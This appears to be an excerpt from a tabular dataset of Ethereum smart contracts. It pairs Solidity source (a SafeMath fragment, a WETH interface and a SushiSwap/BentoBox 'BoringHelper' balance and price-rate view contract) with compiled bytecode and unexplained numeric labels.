* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWeth is IERC20 {
function deposit() external payable;
function withdraw(uint256) external;
}
| 0x6080604052600436106100ec5760003560e01c806368aa6dd91161008a578063ce56c45411610059578063ce56c45414610244578063ed55044314610264578063eebeb37914610279578063f851a44014610299576100f3565b806368aa6dd9146101dc57806375829def146101ef57806377f50f971461020f5780637acc867814610224576100f3565b806326782247116100c657806326782247146101675780633ccdbb281461017c57806343bea4b31461019c5780634db1d03d146101bc576100f3565b806313735246146100f857806319ca91781461011a578063249d39e914610145576100f3565b366100f357005b600080fd5b34801561010457600080fd5b50610118610113366004611a24565b6102ae565b005b34801561012657600080fd5b5061012f610385565b60405161013c9190611c48565b60405180910390f35b34801561015157600080fd5b5061015a610394565b60405161013c9190611d1b565b34801561017357600080fd5b5061012f61039a565b34801561018857600080fd5b50610118610197366004611aee565b6103a9565b3480156101a857600080fd5b5061015a6101b7366004611b4b565b610458565b3480156101c857600080fd5b5061015a6101d7366004611b4b565b610635565b61015a6101ea366004611b86565b6107d8565b3480156101fb57600080fd5b5061011861020a366004611a24565b610d11565b34801561021b57600080fd5b50610118610e16565b34801561023057600080fd5b5061011861023f366004611a24565b610ee8565b34801561025057600080fd5b5061011861025f366004611bd6565b611035565b34801561027057600080fd5b5061012f61116f565b34801561028557600080fd5b50610118610294366004611a24565b61117e565b3480156102a557600080fd5b5061012f611226565b6000546001600160a01b031633146102fa576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b6001600160a01b0381166103295760405162461bcd60e51b815260040161032090611c76565b60405180910390fd5b6003546040516001600160a01b038084169216907f7c5d026310440df4ec67ef47368cd26898f9dbec4b95934dbbc4a3d9d46c49a990600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b031681565b61271081565b6001546001600160a01b031681565b6000546001600160a01b031633146103f5576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b6104096001600160a01b0384168284611235565b604080516001600160a01b0380861682526020820185905283168183015290517f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e69181900360600190a1505050565b6003546000906001600160a01b031633146104855760405162461bcd60e51b815260040161032090611ce4565b60006104b160016104996020860186611df2565b9050038480606001906104ac9190611e40565b6112a1565b905060006104c26020850185611df2565b905067ffffffffffffffff811180156104da57600080fd5b50604051908082528060200260200182016040528015610504578160200160208202803683370190505b50905060005b6105176020860186611df2565b90508110156105785761052d6020860186611df2565b8281811061053757fe5b905060200201602081019061054c9190611a24565b82828151811061055857fe5b6001600160a01b039092166020928302919091019091015260010161050a565b506004805460405163a8312b1d60e01b81526000926001600160a01b039092169163a8312b1d916105b0918935918891889101611d24565b60006040518083038186803b1580156105c857600080fd5b505afa1580156105dc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106049190810190611a40565b90508060016106166020880188611df2565b9050038151811061062357fe5b60200260200101519350505050919050565b6003546000906001600160a01b031633146106625760405162461bcd60e51b815260040161032090611ce4565b600061067660016104996020860186611df2565b905060006106876020850185611df2565b905067ffffffffffffffff8111801561069f57600080fd5b506040519080825280602002602001820160405280156106c9578160200160208202803683370190505b50905060005b6106dc6020860186611df2565b905081101561073d576106f26020860186611df2565b828181106106fc57fe5b90506020020160208101906107119190611a24565b82828151811061071d57fe5b6001600160a01b03909216602092830291909101909101526001016106cf565b50600480546040516313c4d36d60e31b81526000926001600160a01b0390921691639e269b6891610775918935918891889101611d24565b60006040518083038186803b15801561078d57600080fd5b505afa1580156107a1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107c99190810190611a40565b90508060008151811061062357fe5b6003546000906001600160a01b031633146108055760405162461bcd60e51b815260040161032090611ce4565b60026108146040840184611df2565b905010156108345760405162461bcd60e51b815260040161032090611cad565b600061085b60016108486040860186611df2565b905003848060c001906104ac9190611e40565b6004549091506108a0906001600160a01b031661087b6040860186611df2565b600081811061088657fe5b905060200201602081019061089b9190611a24565b61136c565b60006108af6040850185611df2565b9150600090506108c26040860186611df2565b60008181106108cd57fe5b90506020020160208101906108e29190611a24565b905060006108f36040870187611df2565b6001850381811061090057fe5b90506020020160208101906109159190611a24565b905060006109266040880188611df2565b905067ffffffffffffffff8111801561093e57600080fd5b50604051908082528060200260200182016040528015610968578160200160208202803683370190505b50905060005b61097b6040890189611df2565b9050811015610aaa5773eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6109a660408a018a611df2565b838181106109b057fe5b90506020020160208101906109c59190611a24565b6001600160a01b031614610a04576109e06040890189611df2565b828181106109ea57fe5b90506020020160208101906109ff9190611a24565b610a7e565b6004805460408051633fc8cef360e01b815290516001600160a01b0390921692633fc8cef3928282019260209290829003018186803b158015610a4657600080fd5b505afa158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e9190611b2f565b828281518110610a8a57fe5b6001600160a01b039092166020928302919091019091015260010161096e565b506000610ac683610ac160808b0160608c01611a24565b611433565b90506001600160a01b03841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610b8a57600460009054906101000a90046001600160a01b03166001600160a01b0316632daaa81889600001358a6020013589868d6060016020810190610b309190611a24565b6000196040518763ffffffff1660e01b8152600401610b53959493929190611d59565b6000604051808303818588803b158015610b6c57600080fd5b505af1158015610b80573d6000803e3d6000fd5b5050505050610ce7565b6001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610c4d57600460009054906101000a90046001600160a01b03166001600160a01b0316633e741fca89600001358a6020013589868d6060016020810190610bf29190611a24565b6000196040518763ffffffff1660e01b8152600401610c1696959493929190611da2565b600060405180830381600087803b158015610c3057600080fd5b505af1158015610c44573d6000803e3d6000fd5b50505050610ce7565b600460009054906101000a90046001600160a01b03166001600160a01b031663e8898b5f89600001358a6020013589868d6060016020810190610c909190611a24565b6000196040518763ffffffff1660e01b8152600401610cb496959493929190611da2565b600060405180830381600087803b158015610cce57600080fd5b505af1158015610ce2573d6000803e3d6000fd5b505050505b610d0581610cff85610ac160808d0160608e01611a24565b906114ed565b98975050505050505050565b6000546001600160a01b03163314610d5d576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b6001600160a01b038116610db8576040805162461bcd60e51b815260206004820152600b60248201527f6e65772061646d696e2030000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080516001600160a01b038316815290517f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc409181900360200190a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314610e75576040805162461bcd60e51b815260206004820152600b60248201527f6e6f742070656e64696e67000000000000000000000000000000000000000000604482015290519081900360640190fd5b600154600054604080516001600160a01b03938416815292909116602083015280517f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b03163314610f34576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b6001600160a01b038116610f8f576040805162461bcd60e51b815260206004820152600760248201527f61646d696e203000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080516001600160a01b038316815290517f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc409181900360200190a1600054604080516001600160a01b038085168252909216602083015280517f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed9281900390910190a1600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611081576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b6040516000906001600160a01b0383169084908381818185875af1925050503d80600081146110cc576040519150601f19603f3d011682016040523d82523d6000602084013e6110d1565b606091505b5050905080611127576040805162461bcd60e51b815260206004820152600f60248201527f7769746864726177206661696c65640000000000000000000000000000000000604482015290519081900360640190fd5b604080518481526001600160a01b038416602082015281517fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de929181900390910190a1505050565b6003546001600160a01b031681565b6000546001600160a01b031633146111ca576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0383811691909117918290556040517f8d1f067ec271971ab3692af441123f862e18471b6d198db2c1a0fc1c31f6d2779261121b921690611c48565b60405180910390a150565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b17905261129c90849061154a565b505050565b60608367ffffffffffffffff811180156112ba57600080fd5b506040519080825280602002602001820160405280156112e4578160200160208202803683370190505b50905060005b84811015611364576113388160140285858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092939250506115fb9050565b82828151811061134457fe5b6001600160a01b03909216602092830291909101909101526001016112ea565b509392505050565b6001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee148015906114145750604051636eb1769f60e11b81526001600160a01b0382169063dd62ed3e906113c29030908690600401611c5c565b60206040518083038186803b1580156113da57600080fd5b505afa1580156113ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114129190611bbe565b155b1561142f5761142f6001600160a01b038216836000196116c7565b5050565b60006001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561146b57506001600160a01b038116316114e7565b826001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156114b857600080fd5b505afa1580156114cc573d6000803e3d6000fd5b505050506040513d60208110156114e257600080fd5b505190505b92915050565b600082821115611544576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600061159f826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166117ef9092919063ffffffff16565b80519091501561129c578080602001905160208110156115be57600080fd5b505161129c5760405162461bcd60e51b815260040180806020018281038252602a815260200180611ec4602a913960400191505060405180910390fd5b600081826014011015611655576040805162461bcd60e51b815260206004820152601260248201527f746f416464726573735f6f766572666c6f770000000000000000000000000000604482015290519081900360640190fd5b81601401835110156116ae576040805162461bcd60e51b815260206004820152601560248201527f746f416464726573735f6f75744f66426f756e64730000000000000000000000604482015290519081900360640190fd5b5001602001516c01000000000000000000000000900490565b80158061174d575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561171f57600080fd5b505afa158015611733573d6000803e3d6000fd5b505050506040513d602081101561174957600080fd5b5051155b6117885760405162461bcd60e51b8152600401808060200182810382526036815260200180611eee6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663095ea7b360e01b17905261129c90849061154a565b60606117fe8484600085611808565b90505b9392505050565b6060824710156118495760405162461bcd60e51b8152600401808060200182810382526026815260200180611e9e6026913960400191505060405180910390fd5b61185285611963565b6118a3576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106118e15780518252601f1990920191602091820191016118c2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611943576040519150601f19603f3d011682016040523d82523d6000602084013e611948565b606091505b5091509150611958828286611969565b979650505050505050565b3b151590565b60608315611978575081611801565b8251156119885782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119d25781810151838201526020016119ba565b50505050905090810190601f1680156119ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b600060808284031215611a1e578081fd5b50919050565b600060208284031215611a35578081fd5b813561180181611e85565b60006020808385031215611a52578182fd5b825167ffffffffffffffff80821115611a69578384fd5b818501915085601f830112611a7c578384fd5b815181811115611a8857fe5b83810260405185828201018181108582111715611aa157fe5b604052828152858101935084860182860187018a1015611abf578788fd5b8795505b83861015611ae1578051855260019590950194938601938601611ac3565b5098975050505050505050565b600080600060608486031215611b02578182fd5b8335611b0d81611e85565b9250602084013591506040840135611b2481611e85565b809150509250925092565b600060208284031215611b40578081fd5b815161180181611e85565b600060208284031215611b5c578081fd5b813567ffffffffffffffff811115611b72578182fd5b611b7e84828501611a0d565b949350505050565b600060208284031215611b97578081fd5b813567ffffffffffffffff811115611bad578182fd5b820160e08185031215611801578182fd5b600060208284031215611bcf578081fd5b5051919050565b60008060408385031215611be8578182fd5b823591506020830135611bfa81611e85565b809150509250929050565b6000815180845260208085019450808401835b83811015611c3d5781516001600160a01b031687529582019590820190600101611c18565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b60208082526011908201527f696e76616c6964207377617020696d706c000000000000000000000000000000604082015260600190565b60208082526011908201527f696e76616c696420747261646550617468000000000000000000000000000000604082015260600190565b6020808252600e908201527f6f6e6c79207377617020696d706c000000000000000000000000000000000000604082015260600190565b90815260200190565b600084825260606020830152611d3d6060830185611c05565b8281036040840152611d4f8185611c05565b9695505050505050565b600086825260a06020830152611d7260a0830187611c05565b8281036040840152611d848187611c05565b6001600160a01b039590951660608401525050608001529392505050565b600087825286602083015260c06040830152611dc160c0830187611c05565b8281036060840152611dd38187611c05565b6001600160a01b03959095166080840152505060a00152949350505050565b6000808335601e19843603018112611e08578283fd5b83018035915067ffffffffffffffff821115611e22578283fd5b6020908101925081023603821315611e3957600080fd5b9250929050565b6000808335601e19843603018112611e56578283fd5b83018035915067ffffffffffffffff821115611e70578283fd5b602001915036819003821315611e3957600080fd5b6001600160a01b0381168114611e9a57600080fd5b5056fe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a164736f6c6343000706000a | [
38
] |
0xf35305995917b675cff5c0402ef3a8f16ea6d636 | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function owner() external view returns (address);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IMasterChef {
function BONUS_MULTIPLIER() external view returns (uint256);
function bonusEndBlock() external view returns (uint256);
function devaddr() external view returns (address);
function migrator() external view returns (address);
function owner() external view returns (address);
function startBlock() external view returns (uint256);
function sushi() external view returns (address);
function sushiPerBlock() external view returns (uint256);
function totalAllocPoint() external view returns (uint256);
function poolLength() external view returns (uint256);
function poolInfo(uint256 nr)
external
view
returns (
address,
uint256,
uint256,
uint256
);
function userInfo(uint256 nr, address who) external view returns (uint256, uint256);
function pendingSushi(uint256 nr, address who) external view returns (uint256);
}
interface IPair is IERC20 {
function token0() external view returns (IERC20);
function token1() external view returns (IERC20);
function getReserves()
external
view
returns (
uint112,
uint112,
uint32
);
}
interface IFactory {
function allPairsLength() external view returns (uint256);
function allPairs(uint256 i) external view returns (IPair);
function getPair(IERC20 token0, IERC20 token1) external view returns (IPair);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
}
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
}
contract Ownable {
address public immutable owner;
constructor() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
}
library BoringERC20 {
function returnDataToString(bytes memory data) internal pure returns (string memory) {
if (data.length >= 64) {
return abi.decode(data, (string));
} else if (data.length == 32) {
uint8 i = 0;
while(i < 32 && data[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && data[i] != 0; i++) {
bytesArray[i] = data[i];
}
return string(bytesArray);
} else {
return "???";
}
}
function symbol(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41));
return success ? returnDataToString(data) : "???";
}
function name(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03));
return success ? returnDataToString(data) : "???";
}
function decimals(IERC20 token) internal view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
}
library BoringPair {
function factory(IPair pair) internal view returns (IFactory) {
(bool success, bytes memory data) = address(pair).staticcall(abi.encodeWithSelector(0xc45a0155));
return success && data.length == 32 ? abi.decode(data, (IFactory)) : IFactory(0);
}
}
interface IStrategy {
function skim(uint256 amount) external;
function harvest(uint256 balance, address sender) external returns (int256 amountAdded);
function withdraw(uint256 amount) external returns (uint256 actualAmount);
function exit(uint256 balance) external returns (int256 amountAdded);
}
interface IBentoBox {
event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress);
event LogDeposit(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share);
event LogFlashLoan(address indexed borrower, address indexed token, uint256 amount, uint256 feeAmount, address indexed receiver);
event LogRegisterProtocol(address indexed protocol);
event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool approved);
event LogStrategyDivest(address indexed token, uint256 amount);
event LogStrategyInvest(address indexed token, uint256 amount);
event LogStrategyLoss(address indexed token, uint256 amount);
event LogStrategyProfit(address indexed token, uint256 amount);
event LogStrategyQueued(address indexed token, address indexed strategy);
event LogStrategySet(address indexed token, address indexed strategy);
event LogStrategyTargetPercentage(address indexed token, uint256 targetPercentage);
event LogTransfer(address indexed token, address indexed from, address indexed to, uint256 share);
event LogWhiteListMasterContract(address indexed masterContract, bool approved);
event LogWithdraw(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function balanceOf(IERC20, address) external view returns (uint256);
function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results);
function claimOwnership() external;
function deploy(address masterContract, bytes calldata data, bool useCreate2) external payable;
function deposit(IERC20 token_, address from, address to, uint256 amount, uint256 share) external payable returns (uint256 amountOut, uint256 shareOut);
function harvest(IERC20 token, bool balance, uint256 maxChangeAmount) external;
function masterContractApproved(address, address) external view returns (bool);
function masterContractOf(address) external view returns (address);
function nonces(address) external view returns (uint256);
function owner() external view returns (address);
function pendingOwner() external view returns (address);
function pendingStrategy(IERC20) external view returns (IStrategy);
function permitToken(IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function registerProtocol() external;
function setMasterContractApproval(address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s) external;
function setStrategy(IERC20 token, IStrategy newStrategy) external;
function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) external;
function strategy(IERC20) external view returns (IStrategy);
function strategyData(IERC20) external view returns (uint64 strategyStartDate, uint64 targetPercentage, uint128 balance);
function toAmount(IERC20 token, uint256 share, bool roundUp) external view returns (uint256 amount);
function toShare(IERC20 token, uint256 amount, bool roundUp) external view returns (uint256 share);
function totals(IERC20) external view returns (uint128 elastic, uint128 base);
function transfer(IERC20 token, address from, address to, uint256 share) external;
function transferMultiple(IERC20 token, address from, address[] calldata tos, uint256[] calldata shares) external;
function transferOwnership(address newOwner, bool direct, bool renounce) external;
function whitelistMasterContract(address masterContract, bool approved) external;
function whitelistedMasterContracts(address) external view returns (bool);
function withdraw(IERC20 token_, address from, address to, uint256 amount, uint256 share) external returns (uint256 amountOut, uint256 shareOut);
}
contract BoringHelper is Ownable {
IERC20 public WETH; // 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IFactory public sushiFactory; // IFactory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac);
IFactory public uniV2Factory; // IFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IBentoBox public bentoBox; // 0xB5891167796722331b7ea7824F036b3Bdcb4531C
constructor(
IERC20 WETH_,
IFactory sushiFactory_,
IFactory uniV2Factory_,
IBentoBox bentoBox_
) public {
WETH = WETH_;
sushiFactory = sushiFactory_;
uniV2Factory = uniV2Factory_;
bentoBox = bentoBox_;
}
function getETHRate(IERC20 token) public view returns (uint256) {
if (token == WETH) {
return 1e18;
}
IPair pairUniV2 = IPair(uniV2Factory.getPair(token, WETH));
IPair pairSushi = IPair(sushiFactory.getPair(token, WETH));
if (address(pairUniV2) == address(0) && address(pairSushi) == address(0)) {
return 0;
}
uint112 reserve0;
uint112 reserve1;
IERC20 token0;
if (address(pairUniV2) != address(0)) {
(uint112 reserve0UniV2, uint112 reserve1UniV2, ) = pairUniV2.getReserves();
reserve0 += reserve0UniV2;
reserve1 += reserve1UniV2;
token0 = pairUniV2.token0();
}
if (address(pairSushi) != address(0)) {
(uint112 reserve0Sushi, uint112 reserve1Sushi, ) = pairSushi.getReserves();
reserve0 += reserve0Sushi;
reserve1 += reserve1Sushi;
if (token0 == IERC20(0)) {
token0 = pairSushi.token0();
}
}
if (token0 == WETH) {
return uint256(reserve1) * 1e18 / reserve0;
} else {
return uint256(reserve0) * 1e18 / reserve1;
}
}
struct BalanceFull {
IERC20 token;
uint256 balance;
uint256 bentoBalance;
uint256 bentoAllowance;
uint128 bentoAmount;
uint128 bentoShare;
uint256 rate;
}
function getBalances(address who, IERC20[] calldata addresses) public view returns (BalanceFull[] memory) {
BalanceFull[] memory balances = new BalanceFull[](addresses.length);
for (uint256 i = 0; i < addresses.length; i++) {
IERC20 token = addresses[i];
balances[i].token = token;
balances[i].balance = token.balanceOf(who);
balances[i].bentoAllowance = token.allowance(who, address(bentoBox));
balances[i].bentoBalance = bentoBox.balanceOf(token, who);
if (balances[i].bentoBalance != 0) {
(balances[i].bentoAmount, balances[i].bentoShare) = bentoBox.totals(token);
}
balances[i].rate = getETHRate(token);
}
return balances;
}
} | 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80636a385ae91161005b5780636a385ae9146100c85780636b2ace87146100e85780638da5cb5b146100f0578063ad5c4648146100f85761007d565b806322984b24146100825780633da04b87146100a05780635ec54659146100a8575b600080fd5b61008a610100565b6040516100979190610aac565b60405180910390f35b61008a61010f565b6100bb6100b63660046109c8565b61011e565b6040516100979190610b75565b6100db6100d6366004610946565b61051e565b6040516100979190610ada565b61008a6108ac565b61008a6108bb565b61008a6108df565b6001546001600160a01b031681565b6002546001600160a01b031681565b600080546001600160a01b03838116911614156101445750670de0b6b3a7640000610519565b6002546000805460405163e6a4390560e01b815291926001600160a01b039081169263e6a439059261017d928892911690600401610ac0565b60206040518083038186803b15801561019557600080fd5b505afa1580156101a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101cd91906109eb565b6001546000805460405163e6a4390560e01b815293945090926001600160a01b039283169263e6a439059261020a92899290911690600401610ac0565b60206040518083038186803b15801561022257600080fd5b505afa158015610236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025a91906109eb565b90506001600160a01b03821615801561027a57506001600160a01b038116155b1561028a57600092505050610519565b600080806001600160a01b0385161561039657600080866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156102d957600080fd5b505afa1580156102ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103119190610a07565b509150915081850194508084019350866001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561035957600080fd5b505afa15801561036d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061039191906109eb565b925050505b6001600160a01b038416156104ac57600080856001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156103e157600080fd5b505afa1580156103f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104199190610a07565b50958101959485019490925090506001600160a01b0383166104a957856001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561046e57600080fd5b505afa158015610482573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a691906109eb565b92505b50505b6000546001600160a01b03828116911614156104f457826001600160701b0316826001600160701b0316670de0b6b3a764000002816104e757fe5b0495505050505050610519565b816001600160701b0316836001600160701b0316670de0b6b3a764000002816104e757fe5b919050565b6060808267ffffffffffffffff8111801561053857600080fd5b5060405190808252806020026020018201604052801561057257816020015b61055f6108ee565b8152602001906001900390816105575790505b50905060005b838110156108a357600085858381811061058e57fe5b90506020020160208101906105a391906109c8565b9050808383815181106105b257fe5b60209081029190910101516001600160a01b0391821690526040516370a0823160e01b8152908216906370a08231906105ef908a90600401610aac565b60206040518083038186803b15801561060757600080fd5b505afa15801561061b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063f9190610a94565b83838151811061064b57fe5b6020908102919091018101510152600354604051636eb1769f60e11b81526001600160a01b038084169263dd62ed3e9261068b928c921690600401610ac0565b60206040518083038186803b1580156106a357600080fd5b505afa1580156106b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db9190610a94565b8383815181106106e757fe5b602090810291909101015160600152600354604051633de222bb60e21b81526001600160a01b039091169063f7888aec906107289084908b90600401610ac0565b60206040518083038186803b15801561074057600080fd5b505afa158015610754573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107789190610a94565b83838151811061078457fe5b602002602001015160400181815250508282815181106107a057fe5b60200260200101516040015160001461087657600354604051634ffe34db60e01b81526001600160a01b0390911690634ffe34db906107e3908490600401610aac565b604080518083038186803b1580156107fa57600080fd5b505afa15801561080e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108329190610a5b565b84848151811061083e57fe5b602002602001015160800185858151811061085557fe5b60209081029190910101516001600160801b0392831660a090910152911690525b61087f8161011e565b83838151811061088b57fe5b602090810291909101015160c0015250600101610578565b50949350505050565b6003546001600160a01b031681565b7f0000000000000000000000009e6e344f94305d36ea59912b0911fe2c9149ed3e81565b6000546001600160a01b031681565b6040518060e0016040528060006001600160a01b0316815260200160008152602001600081526020016000815260200160006001600160801b0316815260200160006001600160801b03168152602001600081525090565b60008060006040848603121561095a578283fd5b833561096581610b8a565b9250602084013567ffffffffffffffff80821115610981578384fd5b818601915086601f830112610994578384fd5b8135818111156109a2578485fd5b87602080830285010111156109b5578485fd5b6020830194508093505050509250925092565b6000602082840312156109d9578081fd5b81356109e481610b8a565b9392505050565b6000602082840312156109fc578081fd5b81516109e481610b8a565b600080600060608486031215610a1b578283fd5b8351610a2681610ba2565b6020850151909350610a3781610ba2565b604085015190925063ffffffff81168114610a50578182fd5b809150509250925092565b60008060408385031215610a6d578182fd5b8251610a7881610bb7565b6020840151909250610a8981610bb7565b809150509250929050565b600060208284031215610aa5578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b602080825282518282018190526000919060409081850190868401855b82811015610b68578151610b0b8151610b7e565b855280870151878601528581015186860152606080820151908601526080808201516001600160801b039081169187019190915260a0808301519091169086015260c0908101519085015260e09093019290850190600101610af7565b5091979650505050505050565b90815260200190565b6001600160a01b031690565b6001600160a01b0381168114610b9f57600080fd5b50565b6001600160701b0381168114610b9f57600080fd5b6001600160801b0381168114610b9f57600080fdfea264697066735822122015324e05f35e78a12735a8e0136394ae53dce44d611bffbb0b6894b6e79d05a264736f6c634300060c0033 | [
12
] |
0xf353488e96e4330a5358982ab16475f69f31231f | // File lib/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
